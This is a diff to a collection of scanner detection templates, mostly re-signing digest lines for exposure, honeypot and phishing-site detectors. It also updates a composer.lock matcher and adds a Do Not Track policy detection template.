+# digest: 4a0a00473045022100d59c5499c5105d00cf6bcdffc05e486ac113174f1936fdd63d94653b8e6d1ced022043e41353312983340e351aea2b5ad4d96d68b5937a1ea010ab17d00eda76507b:922c64590222798bb761d5b6d8e72950

http/exposed-panels/wildix-collaboration-panel.yaml

@@ -29,4 +29,4 @@ http:
         part: server
         words:
           - "wildix"
-# digest: 4b0a004830460221008d8ee3e1f6a747463fa61180453dae143ada5d04c8a89b6dd5b468c1bc26a08e022100d4feffb5a3f028840420addb052093a8142bb549c9bf0d85c6ed87f535c701a6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b21caacab56ee0c4ea6d6729bb90b8d4051aa465b89a4bea853887472c5a24410221008a44ec065da5184e0d03cb9bee858dbfcfeffc3bb84faa13fb46d5e89f5d8333:922c64590222798bb761d5b6d8e72950

http/exposures/backups/sql-server-dump.yaml

@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502210089ade78b67fe978ae4001866a00d12f6473db36fcfdc9f61a9304ad3bccb3c27022007c938f5208aef0d4bec08585f6d3d803e5287746b599d02813f84c63e3af2a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a1017cca3f944a10e173d3ad7c097a35c4401afa630be24932a20b7f65698d1022100b641a02af3d7cd9e4526f65c677c5df7de5f156598e5a41b1b4089dd0cf57b60:922c64590222798bb761d5b6d8e72950

http/exposures/configs/composer-config.yaml

@@ -2,7 +2,7 @@ id: composer-config
 
 info:
   name: Composer Config - Detect
-  author: Mahendra Purbia (Mah3Sec_)
+  author: Mahendra Purbia (Mah3Sec_),TheZakMan
   severity: info
   description: Composer configuration file detected.
   reference: https://getcomposer.org/
@@ -26,10 +26,11 @@ http:
       - type: dsl
         name: composer.lock
         dsl:
-          - "contains(body, 'packages') && contains(tolower(header), 'application/octet-stream') && status_code == 200"
+          - "contains_all(body, 'packages', 'getcomposer.org') && status_code == 200"
+          - "contains_any(tolower(header), 'application/octet-stream', 'application/json', 'text/plain')"
 
       - type: dsl
         name: composer.json
         dsl:
           - "contains(body, 'require') && contains(tolower(header), 'application/json') && status_code == 200"
-# digest: 4a0a00473045022100d07bcc8980b6294418c556f7137a30c51eac92c2e3cf8b5f21655114817c4e64022043faefa691f12bdb883c0edfea855250686a4986faae7a3bfbe1befbbb8e5b9c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210098a07ef92d7457bcce0ada6dbaf16488a78120f03aaa4dc1c87e2282e0c4b115022041778ba176911680430f1c28921742bd80ac764d8d79300718545fef372ec572:922c64590222798bb761d5b6d8e72950

http/honeypot/tpot-honeypot-detect.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402206b05cedaa5f8057e9d84919a7da166eb78384dcafa2737cab7738a98cebcea1202206e5e288a25d9e24b13c3115ceada930293739fb0695da930c0e10a5672c19f90:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009c4befc0369409f142f1f4316787fb7b5ec09e557d25da883d576526466a7b410221009d7bfb26eaff6fc55e23980b96a509bd9651cce6b8720c6d7a584ddba098d7cf:922c64590222798bb761d5b6d8e72950

http/miscellaneous/assetlinks-detect.yaml

@@ -26,4 +26,4 @@ http:
           - "contains(body, 'android_app')"
           - "contains(content_type, 'application/json')"
         condition: and
-# digest: 490a004630440220078e80c3c50f31325c081af8750bad8f14ecf5c8bc7f7400873371b13a8c250002207d6f111053daad02058a3e656a5cf1d24336fe7ebcb5601e7580e3442c39683f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cbda9fafb25d9193d153bbc8adaaa3d9c6f87b57e6d7eda6facc3a614041688502204aa2813a7ff79c916dc1c039dc41685c8e086dbffcaabec973a9328dabd527ab:922c64590222798bb761d5b6d8e72950

http/miscellaneous/discord-invite-detect.yaml

@@ -30,4 +30,4 @@ http:
         name: discord-bot-invite
         regex:
           - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a0047304502205861c9b9f975a1b6542430d8e07e04e8da9ce3bdbd6b500c1ebccfd4c58a7587022100c16e8a5531c6c5f5e55d2ef12aff5435c879a06b16f724f8315e57a6356ca764:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f4f581b7c5ab02ee0af9e1bda1c3b68644181097adf5c4f302b5a30edbc4097a02206418d4b083ba1d4918fcbc6bee5692ad69707e7bf92c49895dd4c629d816a5f3:922c64590222798bb761d5b6d8e72950

http/miscellaneous/dnt-policy-detect.yaml

@@ -0,0 +1,31 @@
+id: dnt-policy-detect
+
+info:
+  name: DNT Policy Declaration
+  author: rxerium
+  severity: info
+  description: |
+    Detects a Do not Track policy.
+  reference:
+    - https://www.freeprivacypolicy.com/blog/privacy-policy-do-not-track-dnt/
+  tags: privacy,dnt,detect,compliance,policy
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/dnt-policy.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Do not track"
+          - "Policy"
+          - "Compliance"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100af21173a33d75060c473bfbb32036fad1673632de38dfd9612784c6490b7673c022100cdc3f141cc2560cee281569fa1ec9c4aef2bb6bfdf34069cf3a8db34a9dbb16f:922c64590222798bb761d5b6d8e72950

http/miscellaneous/keybase-domain-owwnership-verification.yaml

@@ -36,4 +36,4 @@ http:
         part: body
         regex:
           - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 4a0a004730450221009acfc9da238bc1320b76513496af09bc393b75462899b82acc54246c5c7ca34a02205455822d6695339c2cb5cf1114ece43f5d6eb6a2bc42f99e5bb8afad5b560848:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ba5a67df95ae71b6734e91500c4efa61839322cf1afe1ffd8ad2f72345d3fcfd022100db1c00acb2e42d41c82794c14ddeb3bf65c18fd790f034418b1128bf5624e775:922c64590222798bb761d5b6d8e72950

http/miscellaneous/maxforwards-headers-detect.yaml

@@ -31,4 +31,4 @@ http:
         part: header
         regex:
           - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 4a0a00473045022100a1994ae73dc2ff46222d7327d2fc4b0866cde15b70a31960d1146ac7476afead02201e919b35412f0c3bb27ad17d047f281449df190ecfcb488e151cfe02fa6d9fc8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200b1e7115c77539cae7aeaebeb6329a7a7734331e42d214805a1665342107979a022100a188c8e522d15b5fd26696376749c1db9c5e4dd3dc6507aaf4ade0fd3da72a82:922c64590222798bb761d5b6d8e72950

http/miscellaneous/onion-website-supported.yaml

@@ -28,4 +28,4 @@ http:
         group: 1
         regex:
           - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4b0a00483046022100c119dd87ed3768bd3f3e1e4b3d6b465ef85136bfd0fd27962443eb142483d8c302210086ec948c32be2332cf58510e360080509c245852cb87c8730dff5f127678145c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fbc3a2e1fbfd35ae254e0e76892ee198de356f57e91dcc83337a487e9543a81a022100ea4e1249919e5fbee153a594d2e1ef47ab6f5dea298dbe774cebb71772f9e533:922c64590222798bb761d5b6d8e72950

http/miscellaneous/seized-site.yaml

@@ -30,4 +30,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 490a0046304402202c92fd881a00412823b7e848e2b830889a6653008b912742498d770aea6bdca602205096931a5c30f0e15e0a671f8f6f64a39431d2536f8e8fca0bac9ab48e35c203:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100906e16d4d22fa9409c09e59fee59aa3c695d0fe9a21b1aff03e51e31da38652802206c30d006c0aab7a0beac872c3607fa60a60a47c4f628e8a57583264c3f93d845:922c64590222798bb761d5b6d8e72950

http/miscellaneous/torrent-website-detect.yaml

@@ -37,4 +37,4 @@ http:
         part: body
         regex:
           - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 490a0046304402203e26ef3d1fea038c650ea63d0180942d9193fe69ce13d7a17b605932c6ba7e2c022043e9ecdfbf08070ddbc20aae67f6fa26027c685c6dcef755232129d28041e193:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207abb2d2e0a9e5ec4180aec81774978ba02564d5fb624c61ff365eb634bef95b80220725724bb7bae2732f40f3158fb51fb38fe93709602084348db44c9a4f3ffa5ea:922c64590222798bb761d5b6d8e72950

http/misconfiguration/manage-cabinet-register.yaml

@@ -29,4 +29,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100d9c1c1dde636451367ce22f6399a297f12b316d8b69cfc118001d40f0438aeb602206ac55462927a5544519b2288564bf96828cd5b98675ffdb73ecbaa81d56d52a3:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f21e273bf44240056158cfa7562ec898432afadeb387896d319904cc94775df0022100f61b4da1f6a5842ebd5764703423a9b9a428cec30bb3309488ba54700cf0cfd6:922c64590222798bb761d5b6d8e72950

http/misconfiguration/unigui-server-monitor-exposure.yaml

@@ -33,4 +33,4 @@ http:
           - 'contains(body, "layout:\"fit\",title:\"uniGUI Standalone Server\"")'
           - 'contains(body, "layout:\"absolute\",title:\"Server Statistics\"")'
         condition: or
-# digest: 4b0a00483046022100fb414d6322a4f01208a3dbecf98fc2580e5f537b178412888f0338a7bfcd6515022100991eedcfa36891bf739eaac6e3d117222c97dde8efe5b8cffe839efb871b35c6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206bae90ded9fccef81a479155d99797dd185caf014d5d91654dd033653cfe0c8102207dbc6132346a7f73c1f22b6bfd4597982b5d54a818ce1ea79aef6f5c544ff0ca:922c64590222798bb761d5b6d8e72950

http/osint/phishing/1password-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"1password.com")'
-# digest: 4a0a00473045022100a0368043d176069a9770baf7cb8e98025814b45d9048d3babe300f8c67388f7f02207d79023098a4c76a92d2fc02f17776ac6ca5170a6282e1820859d58e70dacb1d:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207b7255bb5871925f96d1624ca50d95b9e5424c50d862b15c5f6560c12ff99f400220791e7bfa35267413147d2c790e071e515e6cb405b12ce305ed542ba75d7a713b:922c64590222798bb761d5b6d8e72950

http/osint/phishing/adobe-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"adobe.com")'
-# digest: 4a0a00473045022100e7efff81d350149137032f0284298693ea3f61fa0133f25955667eefcf06379e02201ce2f46ddcbe8c086e1618926f874cab48b3d525348e0ef860dc1f1dd49669a6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210093b014ab5e5c35f1fbe21ec012e43a9af8945747b047419c9e3592379a4f255a022025daef7124b4e4c178dc950907db2e660f5aa0a1b50f2f9fd9bb7a7bc53f6cc1:922c64590222798bb761d5b6d8e72950

http/osint/phishing/aliexpress-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"aliexpress.com")'
-# digest: 4a0a00473045022100a82e03438172292fd93c491d5c102a889d26d37337fbd5da6958fc53177ad06602206c664f0cdcbee51f675ac305c625b17aab2e7dfc5bfa760dc0a1e8a4aca408e5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210092e3edbb5c313e1332928847208e7cc1c6965e64b17fddf85d7a74e943f26872022100a2f93b53e645af7fa5ac54a31498a207c1c2d349bd94a7ca8f92fc9e6b607d20:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-phish.yaml

@@ -51,4 +51,4 @@ http:
           - '!contains(host,"amazon.ae")'
           - '!contains(host,"amazon.com.tr")'
         condition: and
-# digest: 4a0a00473045022100d4194de6570d58e1c8f30bdafacbf00be7b3bef59e62adde493d88ef9788ad2a0220580b55b7ee97d65af6dbda5d737c0e4b5fe15ffba09c295caa5a8aa9dfc83451:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201e8524fbbe467b971f263e4a9b79b8a99bc0c15a4869fd88997cb527a7f55d33022100a0b17128282ae0e26b2164de2e861ef1f70b6ba4493d16d853aeb8348f6e45f2:922c64590222798bb761d5b6d8e72950

http/osint/phishing/amazon-web-services-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"amazon.com")'
-# digest: 4b0a00483046022100e94997b7b845c4a42cbb85efdc2d95fba862b62160daf08a0744c6987f7c2da6022100eb346de1c4bd371b5c3e7605c7bbc9ebea7f5f0bdef6a7003b1c6a2283ac6e47:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022013afc59a445079078bc90295b81162e1bfd856271f1085c03b609fca2e3963d0022015f6af3a9d66ac4cbaf222f03cb6e4ec8862e43994233cf316180f7fb031facb:922c64590222798bb761d5b6d8e72950

http/osint/phishing/american-express-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"americanexpress.com")'
-# digest: 4a0a0047304502204944af18e08214dc04b2c1a442793e3c6fb321c8eed1e165e58398d38f5cfa90022100d6c4a0439b2f4da36797cfb394e9c6a7618d5812b0ea0d9f25fe405153db147c:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220222a9f0db498d85161806179c6e5c101caef43a7153e9092aeb8a5f26e9d37d60220380c3ecd61e53af4ac3d234f95617389ee288cd24aa528e0b52127b86a0565d3:922c64590222798bb761d5b6d8e72950

http/osint/phishing/anydesk-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"anydesk.com")'
-# digest: 4a0a00473045022100bf972467f11ae58e8bc2968b29a72a627d5b9647617683badd9fee69eac48c6e02202be7ca79a7aaa9e7226397c836608b9567144a6bb99174f8542d6a80f9eaa103:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022073d7302fa57e5d5f906ebae3008530c1eb5dfb0efa617e3dfb49373ace54d4d6022003c312dbc55de9268f53603216670b201a78401422efa1e47363d6c07dc5a629:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avast-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avast.com")'
-# digest: 490a0046304402204b129d5deaa0ad60d11981372d9d9d507f08592f8d067e397e55a954d1d1c1d002206a7a29c68309f28f82b5180fc138159656842ae03d3e84c256f37624d219487a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b944c13433ba8afe1fca0239b59b974eddc101431e626fbbe253cd267c6fdcb0022100b03f05cbda320e425702dd053460119c49a77f9eb617b3b0052d422647f63f6c:922c64590222798bb761d5b6d8e72950

http/osint/phishing/avg-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"avg.com")'
-# digest: 4a0a00473045022032a483ae3af5f7d2f2e872d9a49d70432c8bf680741d0f9b5420f4b74337f919022100a310090f89d7f9c5676b86530cf9c0d9df7bb81c4876972010ff553b73536285:922c64590222798bb761d5b6d8e72950
+# digest: 480a0045304302200ce441e5028ceb9e56320cbf0a784785a5fc0ce1206cbd3f535279a1d35d1bb7021f28a3f0aff231e4535eb0bf9ff4141a65e1735fc806c0d20a2a5cd9898ac1e0:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bank-of-america-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bankofamerica.com")'
-# digest: 4a0a00473045022028c3bd7f81ee71e19b41cd1477a01f4b9b4b7bd289554e7000a806c293b21a10022100c24beeeba544d04696f06c202007b916fd207e62f9e30fe03f45ce6bb568f5c8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d9800fc3a385e3918bc4feb4f5dcae3cc81e248685dd4be8270fdc8b31dfbff6022043aba5c353ffe1e32b2d5dead3602bd39de9464feecb8741a58d64bc49023d68:922c64590222798bb761d5b6d8e72950

http/osint/phishing/battlenet-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"battle.net")'
           - '!contains(host,"blizzard.com")'
-# digest: 4a0a00473045022100d414ec146bc13e23d6cc5cc5e1d361bb50d3a5a6154c1a2624ef1415198cdb8402200adc7b55694ebbb218d475ffe37ddc6dfc72fefff17d69018bbb04f25191bb60:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100df6c6bcb913e77e16c2b4a252e5335a6a4c65258315779807983ab2d39f560cc022100fef2f116baf23c34cdb10a91a6401e07c3dcb025dae4d4a74844c38d396cd2fe:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bestbuy-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bestbuy.com")'
-# digest: 4a0a00473045022100b3cb9d584d6ab8da45f273138d25301fdf8c4537dc73bb5c54d4ebf256d476ef02206d293c19991863cb27350156afffaac83ea49d69c4b91779563e20480ef2f6f9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202bde7036f867af76d17db6b218ec858710effbbe2e50a5b13d83a61477e4c487022100af68149182450a486497f5521406887a4f83968be4d9c926d8933429c5a5abb8:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitdefender-phish.yaml

@@ -33,4 +33,4 @@ http:
         dsl:
           - '!contains(host,"bitdefender.com")'
           - '!contains(host,"bitdefender.co.uk")'
-# digest: 4a0a004730450221008eae8f17fdc55da0c17c41624bc0661eba33bba9945bfc404fd6dcce9d732d290220170df9f1b5d265c311839d22e5dd3db82592d6f4a6fcbf1a884b2f2880c31327:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dec5bbfe50df983bdff543e5d8c3287f44bf4fd0d62e78c1c3da7e024653c78d0220256163ec9779e9649d9687c90830de40df227878aa7c97f700cfd475f3aedd32:922c64590222798bb761d5b6d8e72950

http/osint/phishing/bitwarden-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"bitwarden.com")'
-# digest: 4b0a00483046022100ff9dd21ff74c36a5d8eea9d7dfb6cacbb51246bad878b8295baa0fc07924301b0221008092bda0b912a23508798adab2087f7c056cfd3b6dca83ebb9e131c3d82a71f8:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022040b4edc28f724b4f7526eb19fb7d1826b4711890dcdc084e7e7cc0490dbc6cb40220260aac9ff79ac98cb99bb860908822ab114c29937433ee96528709aa21ef27bc:922c64590222798bb761d5b6d8e72950

http/osint/phishing/blender-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"blender.org")'
-# digest: 490a0046304402200d7591fb0825b12cb92a12ecd1bca33a0f34d47574e7d7760118e8fc6e3c1ca8022010bcced2b519e9c3bee26cd787147cf36599d09bd7e34170fce1cae3c6f7d975:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204ed1da09e71191b5f123ed75c671c2834fb74d33b53dcce0183a3b57fc8755f4022100f583b21b36251e6273c6011f1c7b967e5e3c0d2c6f16ce3c803104663597f0bf:922c64590222798bb761d5b6d8e72950

http/osint/phishing/booking-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"booking.com")'
-# digest: 490a00463044022030fdc074ce636a151cf1c02b85028d9accb82b292455b83b3e77b4661e57ac92022049a16e06ca68bc5c3767b02753c83855d79e6c145d42b90c7f282da25e5442bf:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c9ab9590306298eb555ffe7642efedc36dd82fe9cbbc12ed35453ebd9508b64d022063bdf44fe25ec4d796ed0e554b2897e57b0da3b18181c9d8f03c8b29157fad8a:922c64590222798bb761d5b6d8e72950

http/osint/phishing/box-storage-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"box.com")'
-# digest: 4b0a00483046022100da493b7517fa4096b3bb66a8febd4bec07374d34e47875b23e0b4ec67d2b2e28022100e036206be1d3337357e7077724dff191b876cc038c22ae280acfef9599f58a80:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b5aac9ce4d50d30d90dcc5f4c7ea6d8e2aac51eb1869e033a25cb4a925fed005022015dcf5c7294878919fc1dd4bcf1663cccf8564da4a60e1660a240c9fbc94b694:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brave-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brave.com")'
-# digest: 4a0a00473045022100f9356b4e1e64de63551731c7a05fa36800d8443e860d22df823d82b79766f8f30220651ef2b3b71044d1ea116cfb0ddb4403b89d32fb45a77d0e9e24c158f7571c4e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200808745985039e14e6aaf8399212f3f2ee728d607beba8ae371a7b3399b5408a022100f0ba3bad586886b259cb6886b4b748755028b58eccf4fbc8efa0b0604573853f:922c64590222798bb761d5b6d8e72950

http/osint/phishing/brighthr-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"brighthr.com")'
-# digest: 4b0a00483046022100cf414924a60e5f4c24458f4b767b0356f210a86d47ffd03624548b32283fda23022100e8e11a32de2efa4cd9760feb4cdef29825ee0b14af771bbabb6c79ff9c76b2df:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220583a004f6ab51f4db6cf946fdcf81f4f8a325404f90ecb230982d32efaf4aeeb02204d083fb9012caa0ce2b0553cb5892f82e1011a58f95c21fc723c430c8ed41ba3:922c64590222798bb761d5b6d8e72950

http/osint/phishing/ccleaner-phish.yaml

@@ -32,4 +32,4 @@ http:
       - type: dsl
         dsl:
           - '!contains(host,"ccleaner.com")'
-# digest: 4a0a00473045022047521185ab075b07583b58c807ad724d60c6e6c6fce3856b65ca7a5525d0793b022100dd1028b2c73406025df470457a5e02268d6be99c61cb227903262088332aec02:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210093a75003d573de724479f949f9e51412b65e1f215617cf7d18edc7edb7a8beb202202b7cbf3c89125a316db53c4c2fa472d6b08142cb070ea77d40389d152df3a532:922c64590222798bb761d5b6d8e72950